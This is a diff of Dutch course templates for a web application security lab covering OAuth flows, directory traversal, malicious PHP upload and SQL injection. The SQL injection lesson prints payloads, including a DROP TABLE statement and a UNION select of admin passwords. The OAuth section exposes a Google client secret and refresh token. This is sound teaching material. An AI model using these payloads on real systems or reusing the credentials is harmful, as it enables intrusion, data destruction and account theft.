<th>Authorization endpoint</th>
|
||||
<th>Token endpoint</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Deze cursus</td>
|
||||
<td>http://websec.paulwagener.nl/o/authorize/</td>
|
||||
<td>http://websec.paulwagener.nl/o/token/</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>GitHub</td>
|
||||
<td>https://github.com/login/oauth/authorize</td>
|
||||
<td>https://github.com/login/oauth/access_token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Google</td>
|
||||
<td>https://accounts.google.com/o/oauth2/auth</td>
|
||||
<td>https://accounts.google.com/o/oauth2/token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Facebook</td>
|
||||
<td>https://www.facebook.com/dialog/oauth</td>
|
||||
<td>https://graph.facebook.com/oauth/access_token</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan'
|
||||
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
|
||||
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
|
||||
code nodig.</p>
|
||||
|
||||
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (
|
||||
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je
|
||||
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven
|
||||
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een
|
||||
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access
|
||||
tokens mee maken.
|
||||
<i>Voor deze opdracht gebruiken we "token"</i>.</li>
|
||||
<li>
|
||||
<b>client_id</b>: Jouw gekozen client id</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
|
||||
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
|
||||
code of access token</li>
|
||||
<li>
|
||||
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
|
||||
<li>
|
||||
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
|
||||
Kan handig zijn.</li>
|
||||
</ul>
|
||||
|
||||
<p>Voor deze site is de authorisatie URL:
|
||||
<br>
|
||||
<span class="url">http://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let je wel op dat er een slash staat achter
|
||||
<code>authorize</code> in de URL?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel seconden is deze token code geldig?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>De access token kan je nu gebruiken om een request te doen naar
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
|
||||
|
||||
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
|
||||
|
||||
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen
|
||||
headers en data. In de screenshots gebruiken we
|
||||
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
|
||||
|
||||
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let op dat je de Authorization data als
|
||||
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
|
||||
|
||||
|
||||
<h3>Web applicaties</h3>
|
||||
|
||||
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie
|
||||
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
|
||||
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
|
||||
|
||||
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen
|
||||
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
|
||||
|
||||
<ol>
|
||||
<li>Ga naar
|
||||
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
|
||||
<b>Authorization grant type</b> de waarde
|
||||
<b>Authorization code</b> heeft.
|
||||
<br>
|
||||
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
|
||||
</li>
|
||||
|
||||
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met
|
||||
<b>response_type=code</b> in plaats van response_type=token</li>
|
||||
|
||||
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
|
||||
</ol>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke authorisatie code heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
|
||||
|
||||
|
||||
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token.
|
||||
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
|
||||
<li>
|
||||
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
|
||||
<li>
|
||||
<b>client_id</b>: De client id die je hebt verzonnen</li>
|
||||
<li>
|
||||
<b>client_secret</b>: De client secret die je hebt verzonnen</li>
|
||||
</ul>
|
||||
|
||||
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response
|
||||
met daarin de refresh_token (en een gratis access_token!). Als je een
|
||||
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
|
||||
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
|
||||
als je een
|
||||
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
|
||||
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
|
||||
keer extra goed of de URL eindigt op
|
||||
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
|
||||
|
||||
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
|
||||
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
|
||||
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth
|
||||
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
|
||||
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
|
||||
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
|
||||
|
||||
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
|
||||
|
||||
<h3>Google</h3>
|
||||
|
||||
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
|
||||
|
||||
<code style="display: block;">
|
||||
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
|
||||
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
|
||||
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
|
||||
|
||||
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token)
|
||||
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
|
||||
op 'refresh_token' zetten:</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
|
||||
|
||||
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<p>Gebruik de access token die je krijgt om een API call te doen naar
|
||||
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websecpaulwagener@gmail.com/events</span>. Vergeet niet weer de juiste
|
||||
Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google
|
||||
Calender te zien in JSON formaat.</p>
|
||||
|
||||
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
|
||||
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag
|
||||
weer de
|
||||
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
|
||||
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
|
||||
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
|
||||
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
|
||||
|
||||
<p>Details over Google OAuth 2.0 kan je vinden op
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
|
||||
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &
|
||||
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
|
||||
|
||||
<p>Gebruik de authorisatie URL zoals die
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
|
||||
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
|
||||
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die
|
||||
requests). Gevoelige data mag je met ***** censureren.</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
|
||||
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Mini webapp</h3>
|
||||
|
||||
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je
|
||||
mag ook een OAuth framework gebruiken)</p>
|
||||
|
||||
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
|
||||
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
|
||||
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,78 @@
|
||||
<h1>Insecure Direct Object References</h1>
|
||||
|
||||
<img src="/static/img/imgr.png">
|
||||
|
||||
<h2>Image site</h2>
|
||||
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
|
||||
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
|
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
|
||||
wat de inhoud van dit bestandje is.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2>
|
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
|
||||
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
|
||||
|
||||
<p class="hint">Met een paar extra
|
||||
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Verander image.php in image_check_prefix.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
|
||||
URL kan gebruiken.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
|
||||
URL filterde?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block">
|
||||
|
||||
<h2>Image 3</h2>
|
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
|
||||
<code>include()</code> ziet er interessant uit...</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
|
||||
</div>
|
||||
@@ -0,0 +1,7 @@
|
||||
<div class="points">
|
||||
{% if points != None %}
|
||||
<i>{{ points }} van de {{ max }} punten</i>
|
||||
{% else %}
|
||||
<span class="question-points">{{ max }}</span> punten
|
||||
{% endif %}
|
||||
</div>
|
||||
@@ -0,0 +1,6 @@
|
||||
<h1>Upload hier je certificate signing request (.csr):</h1>
|
||||
<form enctype="multipart/form-data" method="POST">
|
||||
{% csrf_token %}
|
||||
<input type="file" name="csr">
|
||||
<input type="submit">
|
||||
</form>
|
||||
@@ -0,0 +1,222 @@
|
||||
<style>
|
||||
code i {
|
||||
color: blue;
|
||||
font-style: normal;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
p code {
|
||||
padding: 0;
|
||||
margin: 2px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<h1>Web App Security</h1>
|
||||
|
||||
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
|
||||
komen we meteen bij een gouden regel:</p>
|
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is
|
||||
<strong>niet</strong> toegestaan</blockquote>
|
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
|
||||
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
|
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
|
||||
|
||||
<h1>SQL injection</h1>
|
||||
|
||||
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
|
||||
er
|
||||
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
|
||||
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
|
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
|
||||
die wordt uitgevoerd is bijvoorbeeld deze:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
|
||||
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
|
||||
|
||||
<h5>Commentaar</h5>
|
||||
<p>Met
|
||||
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
|
||||
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
|
||||
De query zal dus ook rijen teruggeven waar
|
||||
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
|
||||
kopen :)</p>
|
||||
|
||||
<h5>AND, OR</h5>
|
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
|
||||
de volgende query maken met de juiste invoer:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>Deze query maakt weer het
|
||||
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
|
||||
resultaat is altijd true (de haakjes worden als volgt geplaatst:
|
||||
<code>. OR ( . AND . )</code>).</p>
|
||||
|
||||
<h5>Meerdere queries</h5>
|
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
|
||||
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
|
||||
|
||||
<p>Met
|
||||
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
|
||||
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
|
||||
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
|
||||
|
||||
<h5>UNION</h5>
|
||||
|
||||
<p>We kunnen met behulp van de
|
||||
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
|
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
|
||||
evenveel kolommen teruggeven.</p>
|
||||
|
||||
<img src="/static/img/shield.png" style="float: right">
|
||||
<h4>Countermeasures</h4>
|
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
|
||||
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
|
||||
|
||||
<h5>Stored procedures</h5>
|
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
|
||||
in plaats op de server is SQL injectie niet mogelijk</p>
|
||||
|
||||
<h5>Prepared statements</h5>
|
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
|
||||
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
|
||||
Lees
|
||||
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
|
||||
|
||||
<h5>Escaping</h5>
|
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals
|
||||
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
|
||||
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
|
||||
op je website!</p>
|
||||
|
||||
<p>Op
|
||||
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
|
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block">
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
|
||||
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
|
||||
geld Bob op zijn rekening heeft staan.</p>
|
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
|
||||
haar rekening hacken met behulp van SQL.</p>
|
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
|
||||
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Bekijk de broncode achter de site:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
|
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
|
||||
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
|
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
|
||||
</div>
|
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
|
||||
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
|
||||
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
|
||||
</div>
|
||||
|
||||
<p>Open de
|
||||
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
|
||||
(queries gescheiden door een ; ).</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke
|
||||
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/bank_schema.png">
|
||||
|
||||
<h2>Webshop</h2>
|
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
|
||||
webshop van Leaky's. Gebruik hiervoor de link
|
||||
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p>Je kan de broncode vinden op:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
|
||||
</p>
|
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
|
||||
quotejes om de query aan te passen.</p>
|
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
|
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
|
||||
de database!</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
|
||||
</p>
|
||||
|
||||
<img src="/static/img/webshop_schema.png">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
|
||||
4)
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
|
||||
</div>
|
||||
|
||||
<p>Open de pagina
|
||||
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
|
||||
